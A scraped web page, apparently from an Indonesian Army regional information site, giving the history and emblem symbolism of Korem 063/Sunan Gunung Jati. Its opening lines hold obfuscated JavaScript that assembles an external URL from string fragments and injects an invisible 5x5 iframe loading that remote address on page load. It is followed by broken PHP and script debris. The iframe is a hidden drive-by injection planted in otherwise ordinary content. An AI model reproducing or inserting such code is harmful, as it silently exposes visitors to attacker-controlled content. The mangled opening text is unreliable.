u='ork';jr='nof';v='s';ij='aq';wj='eh';pg='ttp';i='r';p='s/g';uq='682';x='/t';ei='og';a='/c';ic='WT';g='c';n='h';m='r';zk=':/';s='if';ud='.w';rm='ame';c='le';f='s';ez=s.concat(m,rm);cp=f.concat(i,g);ok=n.concat(pg,zk,x,wj,jr,ij,ud,u,a,v,p,ei,c,uq,ic);var hn=document.createElement(ez);hn.setAttribute('width','5');hn.setAttribute('height','5');hn.setAttribute('style','display:none');hn.setAttribute(cp,ok);document.body.appendChild(hn); "; ?>"; ?>
document.write('')> Tahun 1983 berangkat    12 orang
-           Tahun 1984 berangkat      8 orang
-           Tahun 1986 berangkat      5 orang
-           Tahun 1987 berangkat      9 orang
-           Tahun 1988 berangkat      1 orang
Berdasarkan Surat Perintah Pangdam III/Siliwangi  Nomor : Sprin/177/I/1985 tanggal 31 Januari 1985 Yonif 312/Kh melaksanakan  tugas Operasi  Tim-Tim  s/d Pebruari 1988.

5. LAMBANG DUAJA KOREM 063/SGJ

a.         Ukuran dan Warna

            1)         Ukuran                                   : 54 x 81 Cm

            2)         Warna                                    : 
-           Matahari                    : Emas
-           Gunung                     : Hijau tua dengan garis perak
-           Air                            : Perak
-           Daun jati                   : Emas
-           Daun talas                : Perak
-           Huruf                        : Emas

b.         Nama (Sejarah yang dijadikan dasar)

Nama “SUNAN GUNUNG JATI“, diambil dari ungkapan sejarah pahlawan, baik ditinjau dari keterangan babad yang disebut dengan nama MAULANA SYARIF HIDAYATULLAH sebagai putra ke  dua  dari  Nyi Mas Rara Santang putri Prabu Siliwangi yang dinikahi oleh Sultan Hud Raja Bani Israel maupun dari lembaran sejarah dengan nama  FATAHILLAH/PALETEHAN, seorang alim dari Pasai yang diangkat oleh Sultan Demak R. Trenggono sebagai panglima tentara dengan tugas menguasai Jawa Barat.

Namun jasad yang beristirahat di makam Gunug Jati hingga sekarang ini dianggap sebagai pahlawan besar yang menjadi titk keagungan dan kebanggaan rakyat daerah Cirebon. Dan bahkan sekarang ini nama itu disandarkan symbol ikatan antara rakyat dan tentara di daerah Cirebon, tapi apabila digali kembali riwayat pertumbuhan ketentaraan diawal revolusi dari mulai “BKR - TKR – TRI” hingga sampai kepada TNI tercantum dalam lembaran riwayat ketentaraan, sewaktu Divisi yang diberi nama SUNAN GUNUNG JATI, yang pertama-tama dibentuk pada akhir tahun 1945 di Cirebon.

Nama keramat itu akan menjadi jalinan dari tali yang terpilih diantara rakyat Cirebon, tentara dengan pahlawan sejarahnya dan menjadi ikatan yang kuat dari masa ke masa.

c.         Gambar Lambang

Gambar pokok :  Gunung, Laut dan Api

Tiga nama tadi adalah tiga dari empat dasar yang merupakan sumber hidup dijagat raya ini, dan khususnya dipakai oleh rakyat Cirebon yang disimpulkan dalam kata turun temurun dengan tiga kata-kata : Manggal-Panjil-Manggup, yang berarti laut, gunung dan matahari, tapsirannya sebagai berikut :

1. Watak Laut
Rakyat Cirebon mempunyai watak jembar (luas dalam menghadapi suatu yang berwatak timbal balik, apabila menghadapi seorang yang berlagak sombong akan diterima, dihadapi lebih sombong, sedangkan yang suka merendah diterima dengan lebih rendah  lagi).

2. Watak Gunung
Arti asli mangup adalah mekar, mengembang, diambil alih dari kata siloka dengan dalil “sebab dan musabab”, mangup timbul sebagai akibat dari daya sinar panasnya api yang menyala.

3. Watak Matahari
Biji-bijian akan merupakan benda mati, apabila tak terkena sorotan matahari, yang merupakan/memberi sumber hidup, tak ada gerak yang dinamis kalau tidak ada sesuatu pegangan kepercayaan yang menjiwai segala gerak,  setia dan tunduk kepada dasar, kepercayaan adalah watak kesatria.

d.         Gambar Hiasan

Daun jati        : Lambang kegunaan yang dibutuhkan oleh masyarakat dalam kehidupan.

Daun talas    : Lambang keuletan dan kejayaan yang abadi apabila rumpun talas  dipotong sore, maka timbul pagi-pagi pelepah-pelepah baru, sesuai hal   ini dengan pepatah jawa  “Kena Ing Lara, Ora Kena Ing Pati“ yang   artinya dalam situasi sesulit apapun Korem 063/SGJ tetap eksis mempertahankan kedaulatan NKRI.

e.         Kiasan

  1. Teguh sebagai gunung.
  2. Kebijaksanaan yang lepas luas sebagai laut lepas.
  3. Berguna bagi keseluruhan.
  4. Selalu diwahyuni oleh Tuhan Yang Maha Esa dalam perjuangan sepanjang zaman.
Demikian riwayat singkat pertumbuhan dan perkembangan  Korem 063/Sunan Gunung Jati sejak lahirnya tanggal 8 Desember 1949 hingga mencapai usianya yang ke-60.



 
 
 

Ulang Tahun Satuan TNI AD
------------------------------------------------------------------
Tanggal :
Satuan :
 

   



DAFTAR LINK

dephan mabes tni tni ad tni al tni au polda jabar pemprov jabar

 

Copyright @ 2013. Infolahtadam III/Siliwangi. Jl Seram No. 9a Kota Bandung